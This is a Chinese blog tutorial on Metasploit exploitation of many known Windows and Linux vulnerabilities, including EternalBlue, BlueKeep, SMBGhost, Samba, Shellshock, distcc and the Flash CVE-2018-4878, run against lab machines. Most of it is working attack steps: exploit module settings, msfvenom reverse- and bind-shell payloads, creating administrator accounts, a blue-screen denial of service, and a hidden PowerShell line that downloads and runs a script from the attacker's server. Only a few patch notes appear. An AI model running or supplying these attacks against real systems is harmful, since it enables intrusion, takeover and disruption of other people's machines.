「码动四季·开源同行」MSF漏洞实例测试
文章摘要:本文详细介绍了多种渗透攻击实例,包括网络服务器攻击(MS08-067)、浏览器攻击(MS10-018)、应用软件格式渗透(MS10-087)、HTTP.SYS远程代码漏洞(MS15-034)、永恒之蓝攻击(MS17-010)、远程3389漏洞(CVE-2019-0708)等。通过Metasploit框架,展示了如何利用这些漏洞进行渗透测试,包括设置目标IP、执行攻击命令、获取shell会

一、多种渗透攻击实例
1、网络服务器攻击渗透(MS08-067)
用到的靶机为:WinXPenSP3。
执行Msfconsole命令


执行search MS08-067命令

执行use exploit/windows/smb/ms08_067_netapi命令

执行show options命令


执行set RHOST 192.168.0.8命令,设置一个目标IP地址

执行run命令

执行shell命令

执行net user命令,查看当前用户

执行net user test test /add命令,添加一个用户

执行net user命令,看到我们刚才添加的用户已经存在了

2、浏览器攻击渗透(MS10-018)
用到的靶机为:WinXPenSP3
首先还是执行msfconsole命令。

搜索下ms10-018的目录。
执行search ms10-018命令,搜索路径。

执行use exploit/windows/browser/ms10_018_ie_behaviors命令。
执行show options命令,查看要设置哪些东西

设置一下自己服务器的ip:set SRVHOST 192.168.11.111

设置一个payload正向连接shell:
set PAYLOAD windows/meterpreter/bind_tcp
再看一下我们这个payload的选项配置:show options 一下

为了便于大家的识别我们把端口进行修改下:set LPORT 4441

run一下,会有一个url的地址,这个地址就是要通过社工等方法让目标机进行访问

我们让目标机访问下这个url,这时msfconsole中就出现了successfuully,我们按回车(这里我尝试了好久,每次靶机访问IE就跳出OD来,最后把靶机里面的OD删掉就好了)

我们看下sessions

我们进入这个会话sessions -i 1(i就是in进入的意思,1就是会话的ID)

现在就能执行shell了,看下ip就是我们攻击的服务器

3、应用软件格式渗透,利用word去渗透(MS10-087)
用到的靶机为:WinXPenSP3
我们进入msfconsole下

搜索下ms10-018的路径:search ms10-087

使用这个模块:
Use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

看一下要设置的东西,没有提示要设置什么,可以设置一下文件名

我们把文件名改成ceshi

在设置一个payload,前面一直在使用交互式的payload,下面我们换一个payload

看一下这个payload要设置什么东西

我们设置现在让他弹出一个计算器:set CMD calc.exe

我们运行下,文件已经在这个路径下面了

我们到root目录下,显示下隐藏的文件

找到我们刚才生成的文件

我们去靶机里运行下,就直接调出计算器了

4、CVE-2015-1635-HTTP.SYS远程执行代码漏洞(ms15-034)
漏洞描述
在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统
漏洞利用
(1)利用ms15-034漏洞读取服务器内存数据
借助metasploit平台,截图如下
use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
set rhosts 192.168.80.130
run

(2)利用ms15-034漏洞进行ddos攻击
同样借助metasploit平台,截图如下:
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts 192.168.80.130
set threads 10
run

攻击开始后,win7瞬间蓝屏然后自动重启,截图如下


漏洞修复
禁用IIS内核缓存(可能降低IIS性能)


5、网络服务器攻击渗透测试(MS17-010)
用到的靶机为:Win7
我们进入msfconsole下
一、在kali中输入 msfconsole(等待一会可能会有点慢)
二、进入后输人search ms17-010(就是之前的永恒之蓝,也就是新闻上报道的比特币勒索病毒)

三、找到exploit windows/smb/ms17_010_eternalblue,
运行use exploitwindows/smb/ms17_010_eternalblue

四、输入show options 查看和配置RHOST(靶机)和LHOST(操作机)
由于我用的是虚拟电脑所以我环境已经配置好了。
如果你不知道那台电脑有漏洞你可以输入set LHOSTS 网关/24
如果是[+]前面是这样说明有漏洞,然后再set RHOST +IP。

五、设置TCP连接 set payload windows/x64/meterpreter/reverse_tcp

六、run或exploit进行攻击
七、输入shell进入对方机器增加用户
以创建用户 net user test 1234 /add(xxxx用户名 1234密码)
net localgroup administrators test /add (将用户设置为管理员权限)

上传文件执行

6、远程3389(CVE-2019-0708)与MS12-020
受影响Windows系统版本:
Windows7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP
进行攻击:
使用 msfconsole 进入 metasploit-framework
进入以后使用 reload_all 重新加载 0708rdp 利用模块
使用 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 启用 0708RDP 攻击模块
使用 show options 查看相关信息和设置

关键设置主要为 RHOSTS / RPORT / target
set RHOSTS 受害机IP设置受害机IP
set RPORT 受害机PORT设置受害机RDP端口号
set target ID数字(可选为0-4)设置受害机机器架构
使用的是VMware,那么 target 2 满足条件
使用 exploit 开始攻击,等待建立连接

建立连接以后,使用shell获得shell

修复方法:微软已经于2019年05月4日发布了漏洞补丁,请进行相关升级:🔃 Security Update Guide - Loading - Microsoft
Windows XP 及Windows 2003可以在以下链接下载补丁:Customer guidance for CVE-2019-0708 | Remote Desktop Services Remote Code Execution Vulnerability: May 14, 2019 - Microsoft Support
临时解决方案
- 1、如暂时无法更新补丁,可以通过在系统上启用网络及身份认证(NLA)以暂时规避该漏洞影响。
- 2、在网络外围防火墙阻断TCP端口3389的连接,或对相关服务器做访问来源过滤,只允许可信IP连接。
- 3、禁用远程桌面服务。
7、网络服务器445端口攻击(CVE-2020-0796)
永恒之蓝 2.0 来了,基于 SMBv3 的漏洞,Windows 8和Windows Server 2012 - Windows 10 最新版全部中招,属于系统级漏洞利用这一漏洞会使系统遭受‘蠕虫型’攻击,这意味着很容易从一个受害者感染另一个受害者,一开机就感染。提权后可以做任意操作,例如加密你的文件勒索你。比如说像 EternalBlue 1.0 (永恒之蓝 1.0) 一样,加密文件,对你进行勒索虚拟货币!
在微软发布修补CVE-2020-0796漏洞的安全更新之前,Cisco Talos分享了通过禁用SMBv3压缩和拦截计算机的445端口来防御利用该漏洞发起的攻击
复现
1)环境准备
目标机:windows10 1903 x64 ip:192.168.142.129 (关闭防火墙)
攻击机:kali ip:192.168.142.128
windows10 1903 x64迅雷下载:迅雷
https://sl-m-ssl.xunlei.com/h5/page/download-share/index.html?entry=link&appType=PC&videobtindex=-1&storid=c39vhtrekug5&share_from=dlpage_share_link
2)漏洞检测
利用POC检测:

3)漏洞攻击-蓝屏


4)漏洞利用-getshell
脚本下载:https://github.com/chompie1337/SMBGhost_RCE_PoC
1、msfvenom生成正向连接木马
有关msfvenom详细使用可参考https://www.jianshu.com/p/dee2b171a0a0
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python
用生成的shellcode将exploit.py中的这一部分替换掉(buf后的字符串,保留USER_PAYLOAD不变)

2、开启msf监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8888 //监听端口
set rhost 192.168.142.129 //目标主机
run

3、运行exploit.py脚本,反弹shell
按道理来说,这里应该是反弹了一个shell的,可是!!!一直报错,参考原文是要将win10的内存调整到4个G以上,我也调了的,还是不行,只有后面再看看了

4、漏洞利用-本地提权
下载地址:https://github.com/danigargu/CVE-2020-0796/releases
如果提示找不到dll文件,那么
在win10上安装个vc运行库就好了

8、利用 samba 服务漏洞入侵linux主机(samba低版本漏洞利用)
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等.本文将简单介绍metasploit利用samba漏洞入侵进入远程linux主机
1、首先要扫描目标主机上开放的端口和服务,用nmap,命令如下:
nmap -sS -Pn -A 192.168.17.55
2、发现主机上开放的139,445端口之后,说明该主机有可能存在samba服务远程溢出漏洞,尝试通过该端口建立一个meterpreter 会话,需要用到metasploit.
3、打开metasploit之后需要先判断samba的版本,命令如下:
msf> search scanner/samba
这条命令用来查找samba相关exploit参数
4、然后使用如下命令来定义要扫描samba的版本所用到的exploits参数。
msf> use auxiliary/scanner/smb/smb_version
msfauxiliary(smb_version) > set RHOSTS 192.168.0.102
这条命令定义你将要扫描samba版本的远程主机的IP地址.
exploit
该命令将开始漏洞利用
5、发现samba版本之后,我们需要进一步利用来入侵进入到远程linux主机
msf> use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set RHOST 192.168.0.102
msf exploit(usermap_script) > exploit
执行完成以上命令如图所示,成功创建了shell 会话.

smb其它漏洞Linux smb漏洞(CVE-2017-7494)复现
漏洞编号:CVE-2017-7494
漏洞等级:严重
影响版本:漏洞影响了Samba 3.5.0 之后的版本,不包含4.6.4/4.5.10/4.4.14
0x01:查看samba版本并打开samba配置文件添加以下配置

vi /etc/samba/smb.conf
参考其他人分析在末行加入

[public]
comment = public
browseable = yes
writeable =yes
path = /tmp/public
public = yes
read only = no
0x02:Kali Linux 2017里面创建Samba共享目录
创建共享目录
root@kali:~# mkdir /tmp/public
修改读写执行权限
root@kali:~# chmod 777 /tmp/public

这是SambaCry漏洞利用的前提,必须有一个共享目录,这样攻击者就可以在这个共享目录传递攻击代码并执行,获取到Root权限并控制肉鸡。
0x03:Kali Linux 2017 重启/启动Samba服务
重启samba服务
root@kali:~# /etc/init.d/samba restart
查看samba进程
root@kali:~# ps aux | grep samba
查看samba端口状态(采用139和445端口)
root@kali:~# netstat -tnlp samba
0x04:更新MSF后使用"exploit/linux/samba/is_known_pipename"利用模块,设置rhost后直接exploit即可得到shell。


注意有的poc可能会存在64位和32位之分,参考以上图片


9、Bash Shellshock CVE-2014-6271(破壳)
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击
本次实战环境
metasploitable2是一个非常不错的靶机,内置了多种漏洞来练习你的黑客技术。我将在独立网络环境中使用kali来攻击它,建议你也跟我一样,确保在第一次尝试攻击时结果跟我一样,等你技术娴熟之后便可以去渗透真实的机器了
第一步:配置靶机
要利用此漏洞,需要在cgi-bin目录中有一个可执行脚本。一个简单的输出“hello world”脚本即可,因为仅仅是作为演示。进入到靶机的/usr/lib/cgi-bin/目录下,输入以下命令:
sudo nano hello.sh
输入正确的密码,然后对hello.sh脚本进行编辑
#! /bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello world!"
保存好后,赋予脚本可执行权限,使用chmod命令:
sudo chmod 755 hello.sh
我们来验证一下,通过浏览器访问该脚本,可以看到已经成功执行

第二步:准备攻击
在kali中,终端输入msfconsole来启动metasploit。可以看到一个随机的欢迎界面和metasploit命令提示符。
我们可以使用search命令来搜索exploits。输入shellshock,就能找到apache_mod_cgi_bash_env_exec模块,复制模块路径


现在可以看到一个更长的命令提示符,显示模块已加载。

输入options来查看模块的各种设置:

大部分配置保持默认即可,我们只需要设置远程IP地址rhost和文件路径targeturi,如下所示:

msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhosts 192.168.0.102
rhosts => 172.16.1.102
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set LHOST 192.168.0.100
Lhost => 172.16.1.100
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/hello.sh
targeturi => /cgi-bin/hello.sh
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) >
然后我们需要选择一个payload。输入show options来查看不同的payloads和对应的payload信息。
这里我们选择一个反向TCP shell就可以了,所以我们输入
set payload linux / x86 / shell / reverse_tcp来启用模块
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
再次输入options,我们可以看到模块的当前设置包括payload信息。

第三步 getshell
一些metasploit模块有一个非常便利的小功能,就是检测靶机是否存在漏洞,输入check即可,这会将靶机是否存在漏洞的信息显示出来

我们可以看到,靶机确实是存在漏洞的,现在我们输入exploit来发起攻击。很快我们就获得了一个shell会话,我们可以在会话中输入命令,比如id或者whoami来查看当前用户的信息了。

10、PHP CGI漏洞利用

msf > search cve:2012-1823
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > show options
msf exploit(php_cgi_arg_injection) > set rhost 192.168.0.102
rhost => 192.168.0.102
msf exploit(php_cgi_arg_injection) > run

11、Java RMI SERVER 命令执行漏洞与java cve-2013-0422
Java RMI SERVER 的 RMI 注册表和 RMI 激活服务的默认配置存在安全漏洞,导致代码执行。
利用步骤:
nmap –p 0-65535 IP ,查看1099端口是否开启
use exploit/multi/misc/java_rmi_server
set RHOST IP
exploit
shell(进入meterpreter 时执行)

12、Distcc后门漏洞
安全组织索引:CVE-2004-2678、OSVDB-13378
原理:
Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是Xcode 1.5版本及其他版本的 distcc 2.x版本配置对于服务器端口的访问不限制
利用步骤:
启动metasploit
use exploit/unix/misc/distcc_exec
set RHOST IP
exploit
id 查看权限 uname -a 验证

13、Druby命令执行
Druby配置不当,被滥用执行命令
利用步骤:
启动metasploit
发现8787 Druby端口
search drb 搜索drb相关漏洞
use exploit/linux/misc/drb_remote_codeexec
set URL druby:IP:8787 ,设置目标druby链接
exploit
id,uname -a


14、CVE-2017-8464震网三代(远程快捷方式漏洞)
漏洞详情
北京时间2017年6月13日凌晨,微软官方发布6月安全补丁程序,“震网三代” LNK文件远程代码执行漏洞(CVE-2017-8464)和Windows搜索远程命令执行漏洞(CVE-2017-8543).
CVE-2017-8543,当Windows搜索处理内存中的对象时,存在远程执行代码漏洞。成功利用此漏洞的攻击者可以控制受影响的系统。
CVE-2017-8464,当Windows系统在解析快捷方式时,存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。
攻击机:kali
IP地址为:192.168.10.118
靶机:win7
IP地址:192.168.10.119
受影响的版本
Windows 7
Windows 8.1
Windows RT 8.1
Windows 10
Windows Server 2008
Windows Server 2008 R2
Windows Server 2012
Windows Server 2012 R2
Windows Server 2016
实战操作如下:
msfconsole
search 2017_8464
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.10.118(你的IP)
exploit

之后会在/root/.msf4/local目录下生成我们的利用文件
注意:kali2.0下无法直接访问该文件夹,可通过命令行将/root/.msf4/local/下的所有文件复制到/root/1下
cp -r /root/.msf4/local/ /root/1

全部复制到移动磁盘里面(u盘拷贝),然后在msf中监听:
search multi/handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.118 (你的IP地址)
run

payload2:利用Powershell快捷键
生成攻击文件:search.ps1,终端输入
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.100 -f psh-reflection>/opt/search.ps1

然后将/opt/目录下的search.ps1文件移动到/var/www/html/下
随后打开Apache服务
service apache2 start
访问web下的sp1文件

然后在目标机上建立一个快捷方式
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.118/search.ps1');test.ps1"

这里写我们构造好的代码
然后选中powershell.exe
再到本机上配置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.118
run
15、flash oday(CVE-2018-4878)
漏洞详情
Adobe公司在当地时间2018年2月1日发布了一条安全公告:
https://helpx.adobe.com/security/products/flash-player/apsa18-01.html
公告称一个新的Flash 0Day漏洞(CVE-2018-4878)已经存在野外利用,可针对Windows用户发起定向攻击。攻击者可以诱导用户打开包含恶意 Flash 代码文件的 Microsoft Office 文档、网页、垃圾电子邮件等。
漏洞影响
Flash Player当前最新版本28.0.0.137以及之前的所有版本
漏洞复现
环境测试:
攻击机:kali
目标靶机:win7x64 +IE8.0+FLASH player28.0.0.137
1.下载cve-2018-4878的脚步利用
wget https://raw.githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar
2.解压压缩文件后,可看到cve-2018-4878.py和exploit.swf 我们只需要cve-2018-4878.py

3.我们需要对cve-2018-4878.py进行修改
原作者将代码中的stageless变量改成了true,正确的应该改成:stageless = False,另外别忘了修改最后的路径。
附上原作者的exp地址:github.com/eerykitty/CVE-2020-0796-PoC


4.其次需要修改替换原来弹计算器的shellcode

5.在kali下生成msf的shellcode
(注意:一定要在老版本kail下生成大小为333字节的payload)
msfvenom -p windows/meterpreter/reverse_tcp lhost=your host lport=your port -f python>shellcode.txt
6.将生成的shellcode替换掉原有cve-2018-4878.py中的shelldoce即可

7.在kal下执行cve-2018-4878.py,这里需要和index.html在一个目录下,即可生成恶意的exploit.swf

8.方便演示、复制文件
我将index.html和exploit.swf一同拷贝到目标靶机win7x64上,在ie浏览器下打开(也可以通过搭建web服务器的形式将index.html和exploit.swf放在web目录下,访问地址来打开)。

9.在msf 下进行监听设置
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.0.0.217
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit

10、当打开目标恶意的index.html页面时,即可触发反弹shell

16、MSF木马生成使用
木马生成:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.13.39 LPORT=5555 -f exe -o 18qi.exe
本地监听:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.0.0.217
msf exploit(handler) > set lport 5555
msf exploit(handler) > exploit
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python更多推荐

所有评论(0)